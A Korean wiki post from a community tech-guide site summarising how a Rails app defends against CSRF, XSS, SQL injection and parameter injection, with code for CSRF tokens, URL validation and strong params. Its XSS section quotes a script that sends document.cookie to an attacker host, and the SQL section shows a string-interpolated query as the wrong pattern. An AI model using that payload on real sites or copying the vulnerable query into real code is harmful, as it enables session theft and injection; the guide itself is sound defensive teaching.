RubyOnRails
@초록머리님이 위키를 게시했습니다.

Rails로 보안취약성에 대응하기

참고: https://blog.codeship.com/level-up-your-security-in-rails/

CSRF attack에 대한 대응

1. RESTful routing를 적절히 사용한다.

보안성이 낮은 get 리퀘스트는 정보를 불러오는 데에만 쓴다.
정보생성, 삭제나 교환등의 중요한 action을 할때는 post나 put메서드를 써라. (레일즈에서 post리퀘스트는 기본적으로 valid CSRF token을 가져야하므로 안전하다.)
*예를 들어 계좌이체를 할 경우, 서버에서 transfer 전에 무작위 token 사용자에게 부여, transfer시 token 을 대조하여 token 없거나 틀리면 이체를 거부

2. 폼헬퍼를 사용한다.

form_for나 simple_form_for 같은 폼헬퍼는 CSRF token 을 포함하는 hidden field를 가지고 있다. 단, ajax를 통해 form을 submit 할 때는, (함부로 skip_before_action :verify_authenticity_token를 쓰지마라) meta tag에서 csrf-token 정보를 가져오는 방법을 써야한다.
헤더에 csrf_meta_tags를 넣고, AJAX POST request의 헤더에 X-CSRF-Token로 csrf-token정보를 담을 수 있다.

<!DOCTYPE html>
<html>
<head>
<%= csrf_meta_tags %>
<!-- etc... -->
</head>
var token = document.querySelector("meta[name='csrf-token']").content;

fetch('/countries', {
method: 'POST',
headers: {
'X-CSRF-Token': token,
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
country: {
name: 'Canada',
continent: 'North America',
population: 35160000
}
}),
credentials: 'same-origin'
}).then(function(response) {
return response.json()
}).then(function(json) {
console.log(json)
});

*그러나 jquery-rails Gem을 사용하면, 자동으로 token을 추가해주므로 훨씬 간단하게 처리할 수 있다.

XSS attack 에 대한 대응

1. 유저의 입력에 스크립트가 포함될 때

레일즈에서는 기본적으로 유저가 입력한 스크립트를 html처럼 출력하지 않는다.
<script>alert('hello');</script>를 입력하면 &lt;script&gt;alert(&#39;hello&#39;);&lt;/script&gt;로 출력됨.
html로 출력하고 싶을 경우에는 html_safe( )나 raw( )같은 메서드나 sanitize같은 헬퍼로 스크립트로 출력하게 할 수 있다. 보통 Loofah Gem을 이용한다.

2. url에 스크립트가 포함될때

아래와 같이 url에 스크립트를 포함시키는 경우가 있다.

<p>
<strong>Website:</strong>
<a href="javascript:alert(&#39;hello&#39;);">Learn More</a>
</p>

그 스크립트가 아래와 같이 유저의 쿠키정보를 가져가는 악의적인 스크립트를 담고 를 대비야한다.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

레일즈에서는 아래와 같이 유저의 input의 url에 대해 validation을 체크할 수 있다.

require 'uri'

class Country < ApplicationRecord
validate :validate_url

private

def validate_url
return if website_url.blank?
unless valid_url? website_url
errors.add :website_url, "please provide valid URL"
end
end

def valid_url?(url)
uri = URI.parse url
uri.kind_of? URI::HTTP
rescue URI::InvalidURIError
false
end

SQL Injection Attack 에 대한 대응

Active Record의 where메서드를 올바르게 사용한다.

아래와 같이 where메서드를 바르게 사용함으로써, 뒤에 추가로 OR 질의어가 붙는것을 피할 수 있다.

Country.where(name: name) 

아래는 올바르지 않은 where메서드 사용의 예이다.

name = 'Canada'
Country.where("name = '#{name}'")

Parameter Injection 공격에 대한 대응

Strong 파라미터를 사용한다.

아래와 같이 Strong Parms를 사용함으로써, 정확히 어떤 field가 필요하고, 어떤 field를 수정해도 되는지를 명시할 수 있다.

def user_params
params.require(:user).permit(:name, :email, :password)
end

작성
공감해요
기술 가이드 빠띠의 다른 게시글 더 보기
기술 가이드 빠띠의 다른 게시글 더 보기
기술 가이드 빠띠는? 자세히 보기
빠띠에 쓰이는 기술을 소개하고 그 기술을 익히기 위한 가이드를 모읍니다.
기술 가이드 빠띠에 가입해서 흥미진진한 소식을 받아보세요.
가입하기